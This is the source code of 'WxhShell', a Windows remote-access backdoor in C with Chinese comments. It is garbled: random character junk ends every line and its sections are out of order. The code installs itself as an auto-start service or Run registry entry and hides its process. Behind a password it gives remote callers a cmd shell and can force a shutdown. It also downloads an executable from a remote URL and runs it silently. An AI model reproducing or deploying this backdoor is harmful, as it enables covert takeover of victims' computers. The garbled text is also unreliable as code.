  // 关机 '?LqVzZI  
  case 'd': { w@\4ft6d  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); +k0UVZZX?  
    if(Boot(SHUTDOWN)) _lC0XDZ  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); `(6cRT`Wp  
    else { }FX:sa?5  
    closesocket(wsh); >X5RRSo  
    ExitThread(0); ofsLx6Po  
    } GgE 38~A4  
    break; WmRu3O  
    } xU(b:D Z  
  // 获取shell - rI4_Dl  
  case 's': { 9! yDZ<s  
    CmdShell(wsh); Q9Go}}n  
    closesocket(wsh); 7ZUS  
    ExitThread(0); FtDF}   
    break; v+( P4f S  
  } ,L-V?B(UQ  
  // 退出 p[;@9!t  
  case 'x': { hZ')<@hNP  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); $&i8/pD  
    CloseIt(wsh); y(Em+YTD  
    break; r?pN-x$M=  
    } !LsIHDs4  
  // 离开 \KKE&3=  
  case 'q': { 4E$d"D5]>p  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 6LqF*$+$`  
    closesocket(wsh); JZJb&q){  
    WSACleanup(); };f^*KZ=0  
    exit(1); 14(ct  
    break; q#"lnc<S  
        } S7@/d HN  
  } >GmO8dK  
  } zXkq2\GHA  
iT+t  
  // 提示信息 <<-BQ l~  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); d^0-|sx  
} vOl3utu7  
  } l-SVI9|<0  
4~hP25q  
  return; shiw;.vR{B  
} %UG|R:  
=>O{hT ^F  
// shell模块句柄 Dw,LB>Eq,  
int CmdShell(SOCKET sock) sXY{g0%  
{ 'L^M"f^I  
STARTUPINFO si; Q,};O$h  
ZeroMemory(&si,sizeof(si)); a;&0u>  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 7'ws: #pC  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; {5+ 39=(  
PROCESS_INFORMATION ProcessInfo; !P6?nS  
char cmdline[]="cmd"; GKG:iR)  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); OJ.oHf=K!  
  return 0; :j`XU  
} GY"c1 KE$  
Zj0h0Vt  
// 自身启动模式 N5tFEV'G  
int StartFromService(void) EEvi_Z932  
{ C\0,D9  
typedef struct sGa "  
{ $-\%%n0>6  
  DWORD ExitStatus; /)4Q%Zp  
  DWORD PebBaseAddress; B|=S-5pv*  
  DWORD AffinityMask; BLm}mb#/{  
  DWORD BasePriority; \\Z?v,XsS  
  ULONG UniqueProcessId; X3y28 %R   
  ULONG InheritedFromUniqueProcessId; sBNqg~HwB?  
}   PROCESS_BASIC_INFORMATION; ~W3t(\B'  
8sq0 BH  
PROCNTQSIP NtQueryInformationProcess; 8mO_dQ  
SXV2Y-  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; !HXyvyDN  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; JZqJ&   
_&]Gw, ~/i  
  HANDLE             hProcess; q^L"@Q5;  
  PROCESS_BASIC_INFORMATION pbi; %-|$7?~   
<W*6=HZ'  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ~SXqhX-`  
  if(NULL == hInst ) return 0; 0 Cyus  
6~6 vwp  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Bo0T}P~  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); T6\d]  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ]=Wq&~  
6f+@@=Xc  
  if (!NtQueryInformationProcess) return 0; tNAmA  
vI(CX]o  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); +77j2W_0  
  if(!hProcess) return 0; R,-DP/ (im  
Seq ^o=  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; mw83pU6  
6hHMxS^o  
  CloseHandle(hProcess); ayN[y  
QO4eDSW  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); #z c$cr  
if(hProcess==NULL) return 0; Krr51` hZH  
O44Fj)  
HMODULE hMod; `mquGk|)  
char procName[255]; ]oKHS$W9  
unsigned long cbNeeded; ];u nR<H  
k:&B b"  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Y*S(uqM  
^>z+e"PQA  
  CloseHandle(hProcess); !{A#\~,  
^+Vf*YY 8  
if(strstr(procName,"services")) return 1; // 以服务启动 z%$M IC  
~le:4qaX  
  return 0; // 注册表启动 e )]  
} 4u1au1c  
[MeFj!(  
// 主模块 mqiCn]8G  
int StartWxhshell(LPSTR lpCmdLine) Yr>7c1FZi  
{ +,eF(VS!  
  SOCKET wsl; 'Ojxzz*tT  
BOOL val=TRUE; n9k-OGJ  
  int port=0; >{"E~U  
  struct sockaddr_in door; q oz[x  
cfHtUv  
  if(wscfg.ws_autoins) Install(); pwNF\ ={  
ZD<e$PxxCd  
port=atoi(lpCmdLine); k jx<;##R8  
AzSmfEaU0  
if(port<=0) port=wscfg.ws_port; ~@"H\):/  
z#d*Odc  
  WSADATA data; t*Z4&Sy^  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; xqv&^,ic  
)p{,5"0u  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   (?[%u0%_  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); dfXBgsc6i  
  door.sin_family = AF_INET; $]J<^{v  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); sLc,Dx"+  
  door.sin_port = htons(port); e8k|%m<Sp  
5GURfG3{  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { eo&G@zwN   
closesocket(wsl); <}}u'5;^?x  
return 1; }RUK?:lEA  
} ,]tMZ?n8  
xN!In-v[j;  
  if(listen(wsl,2) == INVALID_SOCKET) { GGsAisF"N  
closesocket(wsl); K#R|GEwr  
return 1; a._>?rVy  
} /Nhc|x6zQ  
  Wxhshell(wsl); :b,An'H  
  WSACleanup(); D=M'g}l  
_CizU0S  
return 0; NZ% v{?  
OZ&SxR%q4  
} 2|${2u`$&y  
4 i`FSO  
// 以NT服务方式启动 E*L5D4Kw  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 5a:YzQ4  
{ D&D-E~b^  
DWORD   status = 0; y]uBVn'u  
  DWORD   specificError = 0xfffffff; Z OqD.=O(  
-2Dgr\M  
  serviceStatus.dwServiceType     = SERVICE_WIN32; lN*"?%<x>  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; M`?ATmYy  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; !y3XIbdS"  
  serviceStatus.dwWin32ExitCode     = 0; dlwOmO'Bm)  
  serviceStatus.dwServiceSpecificExitCode = 0; ;7(vqm<V2~  
  serviceStatus.dwCheckPoint       = 0; ,E2c9V'  
  serviceStatus.dwWaitHint       = 0; e4;h*IQK  
b6@0?_n  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); E4<#6q  
  if (hServiceStatusHandle==0) return; {&nDm$KTD  
5IbCE.>iU  
status = GetLastError(); p@wtT"Y  
  if (status!=NO_ERROR) -5@hU8B'a  
{ rfV{+^T;  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; b[MKo7  
    serviceStatus.dwCheckPoint       = 0; J5}?<Dd:  
    serviceStatus.dwWaitHint       = 0; ;V bB]aUg  
    serviceStatus.dwWin32ExitCode     = status; R  xc  
    serviceStatus.dwServiceSpecificExitCode = specificError; DK|/|C}6  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); [o.#$(   
    return; x)f<lZ^L&H  
  } h@Ix9!?+  
=27ZY Z  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; H^g&e$d0  
  serviceStatus.dwCheckPoint       = 0; Iv?1XI=  
  serviceStatus.dwWaitHint       = 0; ;.7]zn.X]2  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); \<\147&)r  
} LftzW{>gI"  
F/"lJ/I  
// 处理NT服务事件,比如:启动、停止 /Ur]U w  
VOID WINAPI NTServiceHandler(DWORD fdwControl) T^Hq 5Oy  
{ Cf@N>N#t)  
switch(fdwControl) iGNZC{  
{ L tK,_j  
case SERVICE_CONTROL_STOP: @`HW0Y_:  
  serviceStatus.dwWin32ExitCode = 0; TIno"tc3  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 3H%bbFy  
  serviceStatus.dwCheckPoint   = 0; }1NNXxQ  
  serviceStatus.dwWaitHint     = 0; QV _a M2  
  { TU9$5l/;g  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); *?o 'sTH  
  } Z;6?,5OSc  
  return; 1z@{ 4)  
case SERVICE_CONTROL_PAUSE: BuS[(  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ePTxuCf>  
  break; jr^btVOI#\  
case SERVICE_CONTROL_CONTINUE: >eX9dA3X  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; svMu85z  
  break; aF.fd2k  
case SERVICE_CONTROL_INTERROGATE: ^C;ULUn3  
  break; HcHwvf6y  
}; VRUA<x  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); D`)K3;h  
} ?F|F~A8dr  
,6x>gcR  
// 标准应用程序主函数 66scBi_d  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) A#]78lR  
{ 9M@,BXOt  
KuMH,rXF  
// 获取操作系统版本 |^gnT`+  
OsIsNt=GetOsVer(); m5cRHo<9Y  
GetModuleFileName(NULL,ExeFile,MAX_PATH); Kae-Y  
BxesoB  
  // 从命令行安装 _[N*k"  
  if(strpbrk(lpCmdLine,"iI")) Install(); %t]{C06w+{  
0_-P~^A  
  // 下载执行文件 S4 s#EDs  
if(wscfg.ws_downexe) { Sea6xGdq  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) k!d<2Qp W  
  WinExec(wscfg.ws_filenam,SW_HIDE); 5)ooE   
} 0+KSD{  
H"wIa8A  
if(!OsIsNt) { wM! dz&  
// 如果时win9x,隐藏进程并且设置为注册表启动 ,Eo\(j2F.  
HideProc(); q<4{&omUJ  
StartWxhshell(lpCmdLine); Myh?=:1~(c  
} DDZnNSo<JQ  
else ix5<h }  
  if(StartFromService()) dyB@qh~H  
  // 以服务方式启动 e /L([  
  StartServiceCtrlDispatcher(DispatchTable); Fm+V_.H/;  
else }U|Vpgd!  
  // 普通方式启动 n'!x"O7  
  StartWxhshell(lpCmdLine); Qki? >j"  
.>Fpk7  
return 0; @IOl0db  
} z</^qy  
C{,Vk/D-0  
ul!q)cPb{  
P[r$KGz  
=========================================== q&^H" fF  
3=%G{L16-  
zO0K*s.yK  
chM-YuN|  
gwFW+*h  
}$s QmR R  
" h7AO5"6  
i#PR Tbc  
#include <stdio.h> ]hZk #rp}  
#include <string.h> Mo4c8wp&SM  
#include <windows.h> n2Q ?sV;m  
#include <winsock2.h> Z 4c^6v  
#include <winsvc.h> vgi`.hk  
#include <urlmon.h> $paE6X^  
Hro)m"  
#pragma comment (lib, "Ws2_32.lib") TV}=$\D  
#pragma comment (lib, "urlmon.lib") 7**zO3 H  
*p|->p6,u  
#define MAX_USER   100 // 最大客户端连接数 V>ZDJW"G!  
#define BUF_SOCK   200 // sock buffer OK2\2&G  
#define KEY_BUFF   255 // 输入 buffer S(lqj6aa}  
r>G||/Z  
#define REBOOT     0   // 重启 ^Zlbs goZ  
#define SHUTDOWN   1   // 关机 ER:K^ Za  
".?y!VY  
#define DEF_PORT   5000 // 监听端口 Bo ??1y  
o%K1!'  
#define REG_LEN     16   // 注册表键长度 2hTsjJ!'  
#define SVC_LEN     80   // NT服务名长度 `0-i>>  
'lmjZ{k  
// 从dll定义API |RDE/  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); T7N\b]?j@Y  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); lE3&8~2   
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); o_r{cnu  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); biVsbxYurq  
4 &0MB>m  
// wxhshell配置信息 @9\E  
struct WSCFG { f|2QI ~R  
  int ws_port;         // 监听端口 HN<e)E38  
  char ws_passstr[REG_LEN]; // 口令 S(:|S(  
  int ws_autoins;       // 安装标记, 1=yes 0=no {(h!JeQ  
  char ws_regname[REG_LEN]; // 注册表键名 H-8_&E?6m  
  char ws_svcname[REG_LEN]; // 服务名 ""jl  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 fmFs  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 NSQ)lSW,;  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 f1U: _V^d  
int ws_downexe;       // 下载执行标记, 1=yes 0=no $[b1_Db  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" pWKI^S  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 q'jInwY|x  
WctGhGH  
}; 6>h"Lsww  
*k0;R[IAV  
// default Wxhshell configuration Nl{on"il  
struct WSCFG wscfg={DEF_PORT, <O{G&  
    "xuhuanlingzhe", zZV9`cqZ{  
    1, j0S[JpoF  
    "Wxhshell", / q^_ 'Lp  
    "Wxhshell", d)0 hAdh  
            "WxhShell Service", @! jpJ}  
    "Wrsky Windows CmdShell Service", &p=(0$0&-  
    "Please Input Your Password: ", Vtk}>I@%  
  1, 0:eK}tC  
  "http://www.wrsky.com/wxhshell.exe", GGFrV8  
  "Wxhshell.exe" ^!SwY_>  
    };  3;Tsjv}  
~%sNPKjA  
// 消息定义模块 EtDzmpJR>  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; l+?sR<e?!  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 'he&h4fm  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 5 ~"m$/yE  
char *msg_ws_ext="\n\rExit."; ;5}"2hU>  
char *msg_ws_end="\n\rQuit."; ;AT~?o`n  
char *msg_ws_boot="\n\rReboot..."; mMad1qCi7  
char *msg_ws_poff="\n\rShutdown..."; S?Uvt?  
char *msg_ws_down="\n\rSave to "; )lVplAhZD  
Na`vw  
char *msg_ws_err="\n\rErr!"; {|tMN,Z  
char *msg_ws_ok="\n\rOK!"; EyV6uk~  
kk aS&r>  
char ExeFile[MAX_PATH]; hle@= e/n  
int nUser = 0; gR k+KGKn<  
HANDLE handles[MAX_USER]; }do=lm?/  
int OsIsNt; @FuX^Q.[  
\p!mX|  
SERVICE_STATUS       serviceStatus; " R-Pe\W  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; h>n<5{zqM  
R<ZyP~  
// 函数声明 $p.0[A(N  
int Install(void); 1$uO%  
int Uninstall(void); pg4jPuCM  
int DownloadFile(char *sURL, SOCKET wsh); G88g@Exk  
int Boot(int flag); o&rNM5:  
void HideProc(void); ,in"8aT}~  
int GetOsVer(void); wTVd){q`.  
int Wxhshell(SOCKET wsl); /Y*6mQ:  
void TalkWithClient(void *cs); )>WSuf j  
int CmdShell(SOCKET sock); *iujJ i  
int StartFromService(void); 19^B610  
int StartWxhshell(LPSTR lpCmdLine); [f-<M@id/  
4:qM'z  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ziD+% -  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); |dk9/xdX  
BxGz4  
// 数据结构和表定义 M\bea  
SERVICE_TABLE_ENTRY DispatchTable[] = Ec|5'Kz]  
{ Kv6#WN~  
{wscfg.ws_svcname, NTServiceMain}, -wn(J5NnR  
{NULL, NULL} !8OUH6{2  
}; 7a'@NgiGg  
)Xd2qbi  
// 自我安装 ,2^zX]dgM  
int Install(void) 7Dwf0Re`  
{ I=wA)Bli1p  
  char svExeFile[MAX_PATH]; g+92}$_  
  HKEY key; j{;IiVHnR  
  strcpy(svExeFile,ExeFile); jR o4+8  
UNd+MHE74I  
// 如果是win9x系统,修改注册表设为自启动 bY7~b/  
if(!OsIsNt) { **lT ' D  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { (= ,w$  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); >&2n\HR\  
  RegCloseKey(key); +G<9|-  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Zk75GC  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); >Y[nU~w  
  RegCloseKey(key); B3iU#   
  return 0; CGN:=D<  
    } lhhp6-r  
  } +b6kU{  
} ' CO3b,  
else { a76`"(W  
?g #4&z.  
// 如果是NT以上系统,安装为系统服务 (3M7RpsL@  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); &nEQ `3~F  
if (schSCManager!=0) ITu5Y"x  
{ l:rT{l=8*  
  SC_HANDLE schService = CreateService ~J,e^$u  
  ( dTW3mF4=  
  schSCManager, S`?cs^?  
  wscfg.ws_svcname, $f]dL};  
  wscfg.ws_svcdisp, orzy &4  
  SERVICE_ALL_ACCESS, b".e6zev  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , m^Xq<`e"<  
  SERVICE_AUTO_START, a4iq_F#NF  
  SERVICE_ERROR_NORMAL, .kkrU  
  svExeFile, C [h^bBq  
  NULL, \@i4im@%xU  
  NULL, IHlTp0?  
  NULL, S;FgS:;  
  NULL, RTR@p =ck  
  NULL z4 yV1  
  ); Us*"g{PQ  
  if (schService!=0) ($ l t@j  
  { QL4BD93v  
  CloseServiceHandle(schService); p+>vX X  
  CloseServiceHandle(schSCManager); rF8n z:8  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 9:tn! <^=I  
  strcat(svExeFile,wscfg.ws_svcname); KDzTe9  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Lu@'Ee!>G  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); '6&a8&:  
  RegCloseKey(key); J(JqusQd !  
  return 0; dW8M^A&  
    } Hkck=@>8H*  
  } [C"[#7  
  CloseServiceHandle(schSCManager); !{, `h<  
} PLmf.hD\  
} O~WT$  
Os# V=P  
return 1; ?Q XS?  
} $J] b+Bp  
Px<*n '~}  
// 自我卸载 }dt7n65  
int Uninstall(void) 09psqXU@I  
{ LT ZoO9O  
  HKEY key; jZ8#86/#{  
b\l +S2  
if(!OsIsNt) { ,ruL7|T&  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { .^%!X!r  
  RegDeleteValue(key,wscfg.ws_regname); k5%:L2FO  
  RegCloseKey(key); 5|E_ ,d!v  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { n 7Bua  
  RegDeleteValue(key,wscfg.ws_regname); U%~L){<V[  
  RegCloseKey(key); '&.QW$B\B_  
  return 0; DfNX@gbo  
  } fq"<=  
} B.-1wZl  
} E4nj*Lp~+  
else { `f9I#B  
x*" 0dYH  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 6H\apgHm  
if (schSCManager!=0) OEN!~-u  
{ c8'! >#$  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); f.4m6"1  
  if (schService!=0) SbLx`]rI  
  { ?1z." &  
  if(DeleteService(schService)!=0) {  3O:gZRxK  
  CloseServiceHandle(schService); g`}+K U  
  CloseServiceHandle(schSCManager); _p~lL<q-K[  
  return 0; -2dk8]KB]  
  } Xy>+r[$D:  
  CloseServiceHandle(schService); Q9`}dYf.  
  } BihXYux*  
  CloseServiceHandle(schSCManager); |G5Me  
} =vv4;az X  
} Lwg@*:`d  
86s.qPB0  
return 1; 1HF=,K+  
} _dT,%q  
` R;6]/I?  
// 从指定url下载文件 MMMuT^X  
int DownloadFile(char *sURL, SOCKET wsh) X0,?~i6Q  
{ Hvn{aLa.  
  HRESULT hr; nQ0g,'o  
char seps[]= "/"; JY+ N+c\  
char *token; )>]~Y  
char *file; ~f[AEE~,s+  
char myURL[MAX_PATH]; o2FQ/EIE  
char myFILE[MAX_PATH]; +[MzF EE[  
4v"9I(  
strcpy(myURL,sURL); M>pcG.6V  
  token=strtok(myURL,seps); j0p'_|)(  
  while(token!=NULL) /e^q>>z  
  { W?5u O  
    file=token; rpk )i:k\  
  token=strtok(NULL,seps); ".9 b}}  
  } Jon<?DQj  
Fxu'(xa  
GetCurrentDirectory(MAX_PATH,myFILE); 6gLk?^.  
strcat(myFILE, "\\"); v'"0Ya  
strcat(myFILE, file); q;dg,Om  
  send(wsh,myFILE,strlen(myFILE),0); mCa [?  
send(wsh,"...",3,0); cr{;gP  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); d]JiJgfa%  
  if(hr==S_OK) v-;j44sB  
return 0; n+Ia@ $|m  
else Oy :;v7  
return 1; Pg]&^d&$  
@S/jVXA  
} CS;bm `8a  
 6j FD|  
// 系统电源模块 '!)|;qe  
int Boot(int flag) (x{6N^J.t  
{ v !~lVv&  
  HANDLE hToken; PVGvjc  
  TOKEN_PRIVILEGES tkp; EkV LSur  
B|Y6;4?  
  if(OsIsNt) { wI!>IV(5  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 01n5]^.p  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); K,7IBv,B[  
    tkp.PrivilegeCount = 1; qNI2+<u)j  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; tta\.ic  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); J2\%rb,  
if(flag==REBOOT) { >[]@Df,p  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) y^vB_[6l  
  return 0; EgAM,\  
} kW"6Gc&HUN  
else { -!OFt}  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) j[z o~Y4z  
  return 0; f; <qGM.#|  
} ou;E@`h;x  
  } K !&{k94  
  else { %?gh;? GD  
if(flag==REBOOT) { h|^RM*x  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Uq0GbLjv"  
  return 0; Tw|cgB  
} xE$(I<:  
else { GCn^+`.h1t  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 2!Ip!IQ:  
  return 0; F dR!jt  
} "pdq_35  
} HmWU;9Vn+  
^oNk}:>  
return 1; r|U'2+vn  
} kPt9(E]  
o"5Bg%H  
// win9x进程隐藏模块 7,.Hj&'B  
void HideProc(void) Q;m:o8Q5  
{ da c?b (  
9C?;'  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); q8U*  
  if ( hKernel != NULL ) X2avo|6e  
  { m&EJ @,H  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ig Mm.1>  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); )sWC5\  
    FreeLibrary(hKernel); Qqt<  
  } Ho3$T  
h,:8TMJRRN  
return; %kM|Hk3d  
} DOi\DJV!  
y'ZRoakz)  
// 获取操作系统版本 K OZHz`1!  
int GetOsVer(void) Ne^md  
{  EAVB:gE  
  OSVERSIONINFO winfo; crV2T  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); SiN22k+  
  GetVersionEx(&winfo); gwvy$H   
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ,j{$SuZ M  
  return 1; lM1Y }  
  else Jh3(5d"MV  
  return 0; F8(6P1}E  
} [I*BEJ;W'  
m791w8Vr  
// 客户端句柄模块 Vx1xULdY  
int Wxhshell(SOCKET wsl) X{SD3j=G#  
{ ~(2G7x)  
  SOCKET wsh; `WDN T0@M  
  struct sockaddr_in client; iV8j(HV  
  DWORD myID; XWQp-H.  
Etk`>,]Y>y  
  while(nUser<MAX_USER) MV"aO@  
{ $0[T=9q <+  
  int nSize=sizeof(client); vi+k#KE  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); vM5u]u!  
  if(wsh==INVALID_SOCKET) return 1; Vj^<V|=  
\IZfp=On  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); RIXUzKLO  
if(handles[nUser]==0) _KSYt32N  
  closesocket(wsh); Go>_4)jy  
else h#K863  
  nUser++; n GE3O#fv  
  } =i jGB~  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 5Qb%g )jZ  
E}S)uI,gn  
  return 0; ]-O/{FIv  
} '2+Rb7V  
sWp]Zy  
// 关闭 socket Xz`?b4i  
void CloseIt(SOCKET wsh) AhOvI {  
{ Rn={:u4  
closesocket(wsh); Q>y2C8rnJ/  
nUser--; 0m?v@K' l  
ExitThread(0); mZ9+.lm  
} eup#.#J  
q=8I0E&q  
// 客户端请求句柄 zItf>j7|Z  
void TalkWithClient(void *cs) $N[-ks2 {@  
{  S5RQ  
'\ec ,&4Z  
  SOCKET wsh=(SOCKET)cs; X5kIM\  
  char pwd[SVC_LEN]; B6tp,Np5,  
  char cmd[KEY_BUFF]; M~Tq'>Fn  
char chr[1]; J[fjl 6p  
int i,j; kb>:M.  
VIo %((  
  while (nUser < MAX_USER) { PE1F3u>O  
^` N+mlh  
if(wscfg.ws_passstr) { 2[i:bksjW  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 4}sfJ0HhX  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); (7w`BR9B  
  //ZeroMemory(pwd,KEY_BUFF); &-#!]T-P:E  
      i=0; m_~!Lj[u.  
  while(i<SVC_LEN) { WlnmW(uahW  
H:x=v4NgsU  
  // 设置超时 \`?l6'!  
  fd_set FdRead; DZGM4|@<7Y  
  struct timeval TimeOut; w|?<;+  
  FD_ZERO(&FdRead); %<%ef+*  
  FD_SET(wsh,&FdRead); X&sXss<fO%  
  TimeOut.tv_sec=8; @ ]u nqCO  
  TimeOut.tv_usec=0; !gv/jdF  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); X $LX;Lv  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); COJny/FT|  
?<c)r~9]  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 8"R; axeD  
  pwd=chr[0];  6jFc'  
  if(chr[0]==0xd || chr[0]==0xa) { R%iyNK,  
  pwd=0; 3# G;uWN-  
  break; f Co-ony  
  } [eI{vH{  
  i++; 3uO#/EbS  
    } 7!Z\B-_,  
VA*~R S  
  // 如果是非法用户,关闭 socket :eqDEmr>  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); iD=VNf  
} i8A{DMc,U  
t b5k|  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 1qXqQA  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); jO\29(_  
UD6D![e  
while(1) { G+?@4?` z  
[|PVq#(  
  ZeroMemory(cmd,KEY_BUFF); NQzpgf|h  
jH26-b<  
      // 自动支持客户端 telnet标准   Eyu]0+  
  j=0; a-\\A[E  
  while(j<KEY_BUFF) { pE(\q+1<  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); K 2PV^Y  
  cmd[j]=chr[0]; !<\"XxK+l  
  if(chr[0]==0xa || chr[0]==0xd) { 5&]|p'"W\  
  cmd[j]=0; c(jF^ 0~  
  break; Zp~2WJQ  
  } ^zn j J\  
  j++; a86m?)-c  
    } O<nJbsl_w  
.U|e#t  
  // 下载文件 b'Cy!dr  
  if(strstr(cmd,"http://")) { .`4N#EjP  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); yGl (QLk  
  if(DownloadFile(cmd,wsh)) c$aTl9e  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); :<Z*WoEmt  
  else -AwR$<q'  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); u,<I%  
